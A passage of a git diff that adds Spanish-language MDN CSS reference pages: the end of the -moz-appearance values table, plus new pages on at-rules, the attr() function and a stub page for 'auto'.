+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBorderlessGlass",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only</strong>. This style applies the Aero Glass effect -- but without a border -- to the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-browsertabbar-toolbox</code></td>
+   <td>
+    <div id="sampleWinBrowsertabbarToolbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-browsertabbar-toolbox; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinBrowsertabbarToolbox",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only</strong>. This toolbox style is meant to be used for the tab bar in a browser.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communicationstext</code></td>
+   <td>
+    <div id="sampleWinCommunicationstext" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-communicationstext; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationstext",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-communications-toolbox</code></td>
+   <td>
+    <div id="sampleWinCommunicationsToolbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-communications-toolbox; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinCommunicationsToolbox",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only</strong>. This toolbox style is meant to be used in communications and productivity applications. Corresponding foreground color is <code>-moz-win-communicationstext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{gecko_minversion_inline("6.0")}} <code>-moz-win-exclude-glass</code></td>
+   <td>
+    <div id="sampleWinExcludeGlass" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-exclude-glass; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinExcludeGlass",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only. </strong>This styles is used to exclude the Aero Glass effect on the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-glass</code></td>
+   <td>
+    <div id="sampleWinGlass" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-glass; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinGlass",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only</strong>. This style applies the Aero Glass effect to the element.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-mediatext</code></td>
+   <td>
+    <div id="sampleWinMediaText" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-mediatext; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinMediaText",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-win-media-toolbox</code></td>
+   <td>
+    <div id="sampleWinMediaToolbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-media-toolbox; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWinMediaToolbox",100,50,"","", "nobutton")}}</td>
+   <td><strong>Windows Vista and later only</strong>. This toolbox style is meant to be used in applications that manage media objects. Corresponding foreground color is <code>-moz-win-mediatext</code>.</td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box</code></td>
+   <td>
+    <div id="sampleWindowButtonBox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-box; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBox",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-box-maximized</code></td>
+   <td>
+    <div id="sampleWindowButtonBoxMaximized" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-box-maximized; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonBoxMaximized",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-close</code></td>
+   <td>
+    <div id="sampleWindowButtonClose" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-close; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonClose",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-maximize</code></td>
+   <td>
+    <div id="sampleWindowButtonMaximize" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-maximize; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMaximize",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-minimize</code></td>
+   <td>
+    <div id="sampleWindowButtonMinimize" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-minimize; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonMinimize",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-button-restore</code></td>
+   <td>
+    <div id="sampleWindowButtonRestore" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-button-restore; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowButtonRestore",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-bottom</code></td>
+   <td>
+    <div id="sampleWindowFrameBottom" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-frame-bottom; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameBottom",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-left</code></td>
+   <td>
+    <div id="sampleWindowFrameLeft" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-frame-left; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameLeft",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-frame-right</code></td>
+   <td>
+    <div id="sampleWindowFrameRight" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-frame-right; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowFrameRight",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-titlebar</code></td>
+   <td>
+    <div id="sampleWindowTitlebar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-titlebar; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebar",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-window-titlebar-maximized</code></td>
+   <td>
+    <div id="sampleWindowTitlebarMaximized" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-window-titlebar-maximized; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleWindowTitlebarMaximized",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Síntaxis_formal">Síntaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">.exampleone {
+  -moz-appearance: toolbarbutton;
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>La propiedad <code>appearance</code> no se encuentra actualmente presente en ninguna nueva especificación CSS.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}{{property_prefix("-moz")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>3.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>11.0{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] No está completamente soportada.</p>
+
+<p>[2] Solo los valores <code>none</code>, <code>button</code>, y <code>textfield</code> están soportados. Ver <a href="https://msdn.microsoft.com/en-us/library/ie/dn793580%28v=vs.85%29.aspx">la documentación en MSDN</a>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2004/CR-css3-ui-20040511/#appearance">Definición de <code>appearance</code> en CSS 3 Interfaz Básico de Usuario</a> (Candidata a Recomendación desde 2004-05-11), desactualizada (La propiedad <code>appearance</code> se ha abandonado en las nuevas versiones de esta especificación.)</li>
+ <li><a class="external" href="http://wiki.csswg.org/spec/css4-ui#dropped-css3-features">Características CSS3 abandonadas en la UI especificación.</a></li>
+</ul>
diff --git a/files/es/web/css/at-rule/index.html b/files/es/web/css/at-rule/index.html
new file mode 100644
index 0000000000..58620af629
--- /dev/null
+++ b/files/es/web/css/at-rule/index.html
@@ -0,0 +1,73 @@
+---
+title: Regla-At
+slug: Web/CSS/At-rule
+translation_of: Web/CSS/At-rule
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">Una <strong>regla-at</strong> es una <a href="/en-US/docs/Web/CSS/Syntax#CSS_statements">declaración CSS</a> que comienza con el símbolo arroba, '@' (U+0040 COMMERCIAL AT), seguido por un identificador, e incluye todo el contenido hasta el siguiente punto y coma, ';' (U+003B SEMICOLON), o el siguiente <a href="/en-US/docs/Web/CSS/Syntax#CSS_declarations_blocks">bloque CSS</a>, lo que sea primero.</span></p>
+
+<p>Hay varias reglas-at, designadas por sus identificadores, cada una con sintaxis distinta:</p>
+
+<ul>
+ <li>{{cssxref("@charset")}} — Define el conjunto de caracteres usado por la hoja de estilos.</li>
+ <li>{{cssxref("@import")}} — Indica al motor de CSS que incluya una hoja de estilos externa.</li>
+ <li>{{cssxref("@namespace")}} — Indica al motor de CSS que todo el contenido usa como prefijo un espacio de nombres XML.</li>
+ <li><strong><em>Reglas-at anidadas</em></strong> — Un subconjunto de declaraciones anidadas, que pueden ser usadas como declaraciones de estilos, así como grupos de reglas condicionadas internas:
+  <ul>
+   <li>{{cssxref("@media")}} — Un grupo de reglas condicional que aplicará su contenido si el dispositivo cumple los criterios de las condiciones definidas usando un <em>media query</em>.</li>
+   <li>{{cssxref("@supports")}} {{experimental_inline}} — Un grupo de reglas condicional que aplicará su contenido si el navegador cumple los criterios de la condición dada.</li>
+   <li>{{cssxref("@document")}} {{experimental_inline}} — Un grupo de reglas condicionadas que aplicará su contenido si el documento donde se aplica la hoja de estilos cumple los criterios de la condición dada. <em>(diferida al Nivel 4 de la Especificación CSS)</em></li>
+   <li>{{cssxref("@page")}} — Describe los cambios en la disposición de la página que serán aplicados al imprimir el documento.</li>
+   <li>{{cssxref("@font-face")}} — Describe la configuración de fuentes externas que se descargarán.</li>
+   <li>{{cssxref("@keyframes")}} {{experimental_inline}} — Describe la configuración de pasos intermedios en una secuencia de animación CSS.</li>
+   <li>{{cssxref("@viewport")}} {{experimental_inline}} — Describe los aspectos del viewport para dispositivos de pantalla pequeña. <em>(actualmente en Borrador)</em></li>
+   <li>{{cssxref("@counter-style")}} — Define estilos de contador específicos que no son parte de los conjuntos de estilos predeterminados. <em>(en estado de Recomendación Candidata, pero sólo implementada en Gekko al momento de esta publicación)</em></li>
+   <li>{{cssxref("@font-feature-values")}} (junto con <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> y <code>@character-variant</code>)<br>
+    — Define nombres comunes para la propiedad {{cssxref("font-variant-alternates")}}. <em>(en estado de Recomendación Candidata, pero sólo implementada en Gekko al momento de esta publicación)</em></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Grupos_de_Reglas_Condicionales">Grupos de Reglas Condicionales</h2>
+
+<p>Así como los valores de las propiedades, cada regla-at tiene sintaxis propia. Sin embargo, muchas de esas reglas pueden ser agrupadas en categorías especiales, llamadas <strong>conditional group rules</strong>. Estas declaraciones comparten sintáxis común y cada una puede incluir <em>nested statements</em>—ya sean <em>conjuntos de reglas</em> o <em>reglas-at anidadas</em>. Además, pueden transmitir un significado semántico común—todas incluyen algun tipo de condición, que devuelve un resultado que puede ser <strong>verdadero</strong> o <strong>falso</strong>. Si el valor de la condición resulta <strong>verdadero</strong>, todas las declaraciones del grupo serán aplicadas.</p>
+
+<p>Los grupos de reglas condicionales están definidos en <a href="http://dev.w3.org/csswg/css3-conditional/">CSS Conditionals Level 3</a> y son:</p>
+
+<ul>
+ <li>{{cssxref("@media")}},</li>
+ <li>{{cssxref("@supports")}},</li>
+ <li>{{cssxref("@document")}}. <em>(diferida al Nivel 4 de la Especificación CSS) </em></li>
+</ul>
+
+<p>Como cada grupo de condición puede incluir también declaraciones anidadas, puede haber un número de anidaciones ilimitado.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificatión</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td><code>@-webkit-keyframes estandarizado</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Reference">CSS Reference</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/attr()/index.html b/files/es/web/css/attr()/index.html
new file mode 100644
index 0000000000..7f78df0156
--- /dev/null
+++ b/files/es/web/css/attr()/index.html
@@ -0,0 +1,246 @@
+---
+title: attr
+slug: Web/CSS/attr()
+translation_of: Web/CSS/attr()
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La función <code>attr()</code> de <a href="/en-US/docs/Web/CSS">CSS</a> se usa para recuperar el valor de un atributo del elemento seleccionado y usarlo en la hoja de estilos. Se puede usar también en un pseudo-elemento y, en este caso, el valor del atributo en el elemento originado del pseudo-elemento es devuelto.</p>
+
+<p>La función <code>attr()</code> de <a href="/en-US/docs/Web/CSS">CSS</a> se puede usar con cualquier propiedad de CSS. {{ experimental_inline() }}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><a href="/en-US/docs/Web/CSS/Value_definition_syntax">Sintaxis formal</a>: attr( attribute-name &lt;type-or-unit&gt;? [, &lt;fallback&gt; ]? )
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>attribute-name</code></dt>
+ <dd>Es el nombre de un atributo en el elemento HTML al que se hace referencia en el CSS. Soporte para otros atributos a parte de {{ cssxref("content") }} es {{ experimental_inline() }}.</dd>
+ <dt><code>&lt;type-</code>or-unit&gt;</dt>
+ <dd>Es una palabra clave que representa o el tipo del valor del atributo, o su unidad, pues en HTML algunos atributos tienen unidades implícitas. Si el uso de <code>&lt;type-or-unit&gt;</code> como valor del atributo especificado no es válido, la expresión <code>attr()</code> también será no válida. Si se omite, el valor por defecto es string. La lista de valores válidos son:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Keyword</th>
+    <th scope="col">Associated type</th>
+    <th scope="col">Comment</th>
+    <th scope="col">Default value</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>string</code></td>
+    <td>{{cssxref("&lt;string&gt;")}}</td>
+    <td>El valor del atributo es tratado como una {{cssxref("&lt;string&gt;")}} de CSS. No se reparsea, y en este caso particular los caracteres son usados tal y como son en vez de convertirlos en diferentes caracteres de CSS.</td>
+    <td>Cadena vacía</td>
+   </tr>
+   <tr>
+    <td><code>color</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;color&gt;")}}</td>
+    <td>El valor del atributo es tratado como hash (3- or 6-value hash) o a una palabra clave. Debe ser un valor válido de una {{cssxref("&lt;string&gt;")}} de CSS.<br>
+     Los espacios iniciales y finales son eliminados.</td>
+    <td><code>currentColor</code></td>
+   </tr>
+   <tr>
+    <td><code>url</code> {{ experimental_inline() }}</td>
+    <td>{{ cssxref("&lt;uri&gt;") }}</td>
+    <td>El valor del atributo es tratado como una cadena que se usa en una función <code>url()</code> de CSS.<br>
+     URLs relativas se resuelven con respecto al documento original, no respecto a la hoja de estilos. Los espacios iniciales y finales son eliminados.</td>
+    <td>La url <code>about:invalid</code> que apunta a un documento inexistente con una condición de error genérico.</td>
+   </tr>
+   <tr>
+    <td><code>integer</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;integer&gt;")}}</td>
+    <td>El valor del atributo es tratado como un {{cssxref("&lt;integer&gt;")}} CSS. Si no es válido, si no es un entero o está fuera del rango aceptado por la propiedad CSS, se usa el valor por defecto.<br>
+     Los espacios iniciales y finales son eliminados.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>number</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;number&gt;")}}</td>
+    <td>El valor del atributo es tratado como {{cssxref("&lt;number&gt;")}}. Si no es válido, si no es un número o está fuera del rango aceptado por la propiedad CSS, se usa el valor por defecto.<br>
+     Los espacios iniciales y finales son eliminados.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>length</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;length&gt;")}} dimension, that is including the unit (e.g. <code>12.5em</code>). If it is not valid, that is not a length or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>em</code>, <code>ex</code>, <code>px</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, <code>mm</code>, <code>cm</code>, <code>in</code>, <code>pt</code>, or <code>pc</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;length&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;length&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given unit is a relative length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0</code>, or, if <code>0</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>angle</code> {{ experimental_inline() }}</td>
+    <td>{{ cssxref("&lt;angle&gt;") }}</td>
+    <td>The attribute value is parsed as a CSS {{ cssxref("&lt;angle&gt;") }} dimension, that is including the unit (e.g. <code>30.5deg</code>). If it is not valid, that is not an angle or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>deg</code>, <code>grad</code>, <code>rad</code> {{ experimental_inline() }}</td>
+    <td>{{ cssxref("&lt;angle&gt;") }}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an {{ cssxref("&lt;angle&gt;") }} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0deg</code>, or, if <code>0deg</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>time</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;time&gt;")}} dimension, that is including the unit (e.g. <code>30.5ms</code>). If it is not valid, that is not a time or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>s</code>, <code>ms</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;time&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as an{{cssxref("&lt;time&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0s</code>, or, if <code>0s</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>frequency</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;frequency&gt;")}} dimension, that is including the unit (e.g. <code>30.5kHz</code>). If it is not valid, that is not a frequency or out of the range accepted by the CSS property, the default value is used.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>Hz</code>, <code>kHz</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;frequency&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;frequency&gt;")}} with the specified unit. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0Hz</code>, or, if <code>0Hz</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+   <tr>
+    <td><code>%</code> {{ experimental_inline() }}</td>
+    <td>{{cssxref("&lt;percentage&gt;")}}</td>
+    <td>The attribute value is parsed as a CSS {{cssxref("&lt;number&gt;")}}, that is without the unit (e.g. <code>12.5</code>), and interpreted as a {{cssxref("&lt;percentage&gt;")}}. If it is not valid, that is not a number or out of the range accepted by the CSS property, the default value is used.<br>
+     If the given value is used as a length, <code>attr()</code>computes it to an absolute length.<br>
+     Leading and trailing spaces are stripped.</td>
+    <td><code>0%</code>, or, if <code>0%</code> is not a valid value for the property, the property's minimum value.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>&lt;fallback&gt;</code></dt>
+ <dd>The value to be used if the associated attribute is missing or contains an invalid value. The fallback value must be valid where <code>attr()</code> is used, even if it is not used, and must not contain another <code>attr()</code> expression. If <code>attr()</code> is not the sole component value of a property, its <code>&lt;fallback&gt;</code> value must be of the type defined by <code>&lt;type-or-unit&gt;</code>. If not set, CSS will use the default value defined for each <code>&lt;type-or-unit&gt;</code>.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: css notranslate">p::before {
+  content:attr(data-foo) " ";
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;p data-foo="hello"&gt;world&lt;/p&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample("Examples", '100%', '80') }}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#attr', 'attr()') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Added two optional parameters; can be used on all properties; may return other values than {{cssxref("&lt;string&gt;")}}. These changes are {{ experimental_inline() }} and may be dropped during the CR phase if browser support is too small.</td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{ SpecName('CSS2.1', 'generate.html#x18', 'attr()') }}</td>
+   <td style="vertical-align: top;">{{ Spec2('CSS2.1') }}</td>
+   <td style="vertical-align: top;">Limited to the {{ cssxref("content") }} property; always return a {{cssxref("&lt;string&gt;")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>8</td>
+   <td>9.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Usage in other properties than {{cssxref("content")}} and with non-string values  {{ experimental_inline() }}</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatNo()}} (see {{bug("435426")}})</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>8</td>
+   <td>10.0</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td>Usage in other properties than {{cssxref("content")}}and with non-string values  {{ experimental_inline() }}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatNo()}} (see {{bug("435426")}})</td>
+   <td>{{CompatNo()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/auto/index.html b/files/es/web/css/auto/index.html
new file mode 100644
index 0000000000..f9f19df9f7
--- /dev/null
+++ b/files/es/web/css/auto/index.html
@@ -0,0 +1,49 @@
+---
+title: auto
+slug: Web/CSS/auto
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/width
+---
+<p>
+</p><p>&lt;&lt; <a href="es/Gu%c3%ada_de_referencia_de_CSS">Volver</a>
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>Un valor computado automáticamente por el 'useragent.'
+</p><p>Usando el valor <i>auto</i> en cualquier propiedad, dejamos al navegador que calcule el valor requerido. </p><p><br>
+FIXME
+</p>
